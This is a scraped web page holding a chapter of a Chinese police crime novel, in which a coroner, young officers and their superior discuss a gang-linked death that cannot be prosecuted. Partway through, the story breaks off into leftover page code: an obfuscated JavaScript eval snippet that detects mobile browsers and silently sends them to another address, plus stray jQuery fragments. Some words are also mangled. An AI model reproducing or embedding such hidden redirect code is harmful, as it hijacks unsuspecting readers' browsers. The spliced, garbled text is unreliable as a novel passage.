法医办公室里,张法医正在一个字一个字的敲报告。当当当,敲门声响起,回头就看到两个面生的小军装。


    甄诚指着报告上的一行字问张法医。


    “这个林安娜生前有过性行为,大概是什么时间,您知道吗?”


    “应该是在死前不久,推测不超过6个小时。”


    “那除了性行为,身上就没有其他伤痕吗?”


    “报告上不是写着呢吗?没有呀!”


    “这怎么可能?”雷松忍不住大声问。


    老法医一看小朋友质疑自己,即使知道这个事情应该多一事不如少一事,也不愿自己背了锅,当下站起身,带着二人来到太平间。


    “来来来。”


    老法医打开冰柜,林安娜的尸体已经装进裹尸袋,等待家属来认领。张法医拉开袋子拉链,露出了林安娜的尸体。


    “自己看!身上有没有伤痕,自己看!”


    甄诚雷松忍着害怕仔细查看。雷松还壮着胆子拉开死者的手臂看身体背面。


    “这个……”


    “尸斑,这个不算!”


    “哦……”


    翻了半天,虽然看不全,但看到的,也是平常案件中,女性受害者最容易受伤的头面部,及胸口、双臂,都没有任何伤痕。


    “她不是被强-奸了吗?怎么没伤呢?”雷松忍不住问出来。


    “谁跟你说是强-奸?”


    在场的三个人都愣住了。原来是个误会。老法医松了口气,不是来找茬的就好。


    “有过性行为,不是被迫的,是自愿的。只是记录一下死者的正常情况,没有其他意思。”


    “不对呀!当时差不多全九龙都在找她,她的所有社会关系都被我们查了个遍,连她小学同学我们都找了。她跟谁上床去?”


    “也就是说,她找了一个人,不仅能顶着洪兴和警方的双重搜查收留她,还跟她有男女关系?然后,她还自杀了?”


    啧,还是来找茬的。张法医不耐烦的推了推眼镜。


    “我只是如实记录我检查到的情况,案情判断是你们的事。还有疑问吗?没事就走吧!”


    说着,张法医不耐烦的拉上裹尸袋,将尸体推回冰柜。


    “张法医您别生气,我们年轻没轻重,不会说话。您老人家千万别和我们小辈计较。我们就是讨论一下,还是需要您的专业指导的!拜托拜托!”


    张法医无奈的站住脚。


    “全身无伤痕,健康状况良好,衣饰整齐完好。仅有后脑一处致命伤,且在伤口处发现石灰质及硅酸盐成分,与尸体发现地环境一致,结合死亡时间和当地潮汐规律,可以判断是坠海后,后脑撞击含有生蚝等贝类的岩石导致。”


    张法医犹豫了一下,又补充道。


    “确实是坠海而死。至于是自己跳下去,还是其它情况。我也不知道呀!你找我没用!”


    “不能判断是自己跳下去,还是被人推下去的吗?”雷松不死心的问。


    老法医回他一个“你要不要听一听你自己在说什么”的表情。


    “谢谢!谢谢!给您添麻烦了!”


    甄诚赶忙拉着雷松往外走,要不然他怕老法医一激动再拿解剖刀捅死他俩。


    走出太平间,甄诚给雷松解释。


    “这个不归法医管!”


    “生哥!”


    王福生早上一进办公室门,就被两个小朋友堵在了门口。


    “怎么了?”


    甄诚拿着尸检报告说。


    “生哥,我们昨天又看了一遍林安娜的尸检报告,还是有疑点呀!”


    “怎么说?”王福生带着两人坐到自己的办公桌前。


    “哎呀!不坐了!”雷松不耐烦坐着,王福生就坐在桌角配合他们,顺便将放在裤子后兜的警官证掏出来,放在了桌子上。


    “还是我来说吧!你磨磨唧唧的!”雷松急不可耐的要和生哥分享他们昨天的发现。


    “林安娜死前给自己谈了个男朋友,就是这个男的把她藏起来的!那个报告上写了,她死前刚和人上过床。”


    “嗯,然后呢?”王福生等着听后续。


    “啊?您知道呀?”


    “哎呀,这个报告上写着呢!生哥又不是你,看不懂英文。”甄诚白了雷松一眼。


    “生哥,是这样的。我们分析,肯定是这个男人出卖了林安娜,把她杀害了。要不然,她都躲到这会儿了,肯定是不想洪兴找到她呀!她就是想活下去才躲起来的,对吧!那,她怎么可能会去自杀呢?”


    雷松激动地说着。王福生认真听完,叹了口气。


    “那你有没有想过,那个男人其实并不需要杀了她,他只需要把她赶出家门,不再庇护她,就可以逼死她了。林安娜自知没有人帮她,她被洪兴找到是迟早的事,而且她也不会试图寻求警方的帮助,要不然,当初她也不会躲起来。这么一来,被赶出家门的林安娜除了自己寻个痛快,她别无选择。至少比落在洪兴帮的手里强,想想陈美芳。”


    王福生的声音里充满了无奈。


    “我也知道,这个‘自杀’的水份有多大,但是没有意义,无非是主动选择和被动选择的区别,林安娜的结局从一开始就决定了。”王福生垂下眼眸,不再看两个新人的眼睛,手却拿起了桌上的警官证。


    “可是,如果不是被洪兴帮逼得,谁会去死呀!”甄诚还是认为应该有人为林安娜的死负责。


    “别说了,就算是洪兴帮的孙卓夫亲自出马,拿枪逼着林安娜去跳悬崖。最后也不过是再找一个人出来当替罪羊而已。你们就别再逼生哥了!”何爷走进来,忍不住插嘴。


    “难道这样就算了?正义呢?公理呢?”甄诚不赞成的看着何爷。


    王福生拍拍何爷的肩膀,表示有被安慰到。


    “作为警察我们的确应该站在正义的一边,但现实就是我们找不到证据。”


    王福生无意识地摩挲着手里的警官证,眼神却放空着。


    两个新人菜鸟,失魂落魄的站在原地。他们想说这是不对的,但是知道说出来也没有用,证据是没有的,即使有证据,最终也会像那份DNA报告一样,变得面目全非。


    只要刘sir是他们的长官一天,他们连立案都做不到。


    王福生将警官证夹回上衣口袋上。


    “过段时间我就要去受训了,我不在的这段时间里,何爷,你照顾好两个小家伙。你们两个!要好好听何爷的话,不要莽撞行动,给何爷添麻烦!我不在,没人罩着你们。和别的小组合作的时候要低调!知道吗?!”王福生主动跳过了刚才的沉闷话题。


    “生哥,你这就要去受训了吗?”雷松有点无措。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385640|200231||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “没有这么快。我不过是多嘴,多叮嘱你们一句。”


    “生哥你放心去,我肯定看好他们。”何爷笑着保证。


    “嗯!生哥你放心,我和雷松肯定听话,不闯祸!”甄诚也表态。


    “嗯嗯!”雷松也跟着点头。


    接下来的几天,王丽丽的案子迅速走完了起诉的流程,生哥作为办案警长出庭作证,并没有用到两个小警员出庭。刘sir则是全程隐身。作为被告、杀人凶手的李祥雨更是安静如鸡。雷松在背后曾经蛐蛐过,李祥雨是什么时候被洪兴搞定的。其实想也知道,李祥雨就在外面待了两天,这么快就被找到,只能说,现在西九龙的地盘上,洪兴已经是当之无愧的无冕之王。甄诚却觉得,还是警队内部有人通风报信的缘故。


    “那有什么区别,警察都被洪兴搞定了。不就是他一家独大了吗!”雷松用一种你在说废话的表情吐槽。


    一个案子结束了,又会有新的案子。1组的李东案,不知什么时候也起诉了。作为杀害警界高层的大案,整个1组那几天都出尽了风头。和他们一比,2组更凄凉了。不要说年轻气盛的甄诚、雷松,就连何爷和阿强都酸的不行。唯一比较淡定的就是生哥了,不过他那是有别的原因。现在这个时候,大概只有英女王接见,才能让他更加激动了。


    “什么?!生哥你要结婚了?是和珍珍姐吧?”雷松的关注点总是有点儿问题。


    “废话!不是你珍珍姐还能是谁!”王福生好脾气的笑骂道。


    “恭喜生哥得常所愿!”何爷和阿强两个老手下自然是知道王福生等了多久的。


    “恭喜师父!那以后我们是不是得叫珍珍姐师娘啦?”甄诚一脸正经的样子逗的大家忍俊不禁。


    “因为要去受训了,所以我们俩的意思是就简单点儿,尽快办完,我俩都安心。”


    “应该的,毕竟珍珍姐这么漂亮,你一走多半年,还是落袋为安比较好。”雷松这也算是话糙理不糙了。


    “那你老泰山能同意?”何爷知道没那么简单。


    “岳父也同意了。”


    “这么快就改口啦?生哥你不要这么一副不值钱的样子好不好!”


    大概是儿子的事情过去了,洪兴开始大规模的秋后算账。之前联合对抗洪兴的几个帮派都遭到了洪兴的猛烈报复,甚至有些手段堪称酷烈。山上发现了几次断手断脚之后,大部分的地盘都很快平静了下来。外面人脑打出狗脑,刘sir却用强硬的态度,严格限制警员出警,所有报警,都需要得到他的批准才可以出警。结果就是,等警察到了,人都已经跑光了,只留下一地狼藉,不,是一地垃圾。就连八卦小报都笑话香港警队是给洪兴帮扫地的。


    警队内部也开始有些怨言。但不久之后,在刘sir的安排下,一连串的帮派份子纷纷落网,甚至里面也有洪兴帮的成员。虽然一些老警员私下给年轻人解惑,那些被抓住的洪兴帮成员大多都是些桀骜不驯或倚老卖老的家伙,大概率还是孙家父子在清理帮派内部。但是至少算是平息了内外部的舆论风暴,为警队又找回了一些面子。


    随之而来的就是一系列的表彰嘉奖大会,可谓是人人有份,就连新人甄诚和雷松都获得了警队内部mendations。更让人惊喜的是,到了月底发薪的时候,大家的抽屉里都出现了一个厚厚的信封。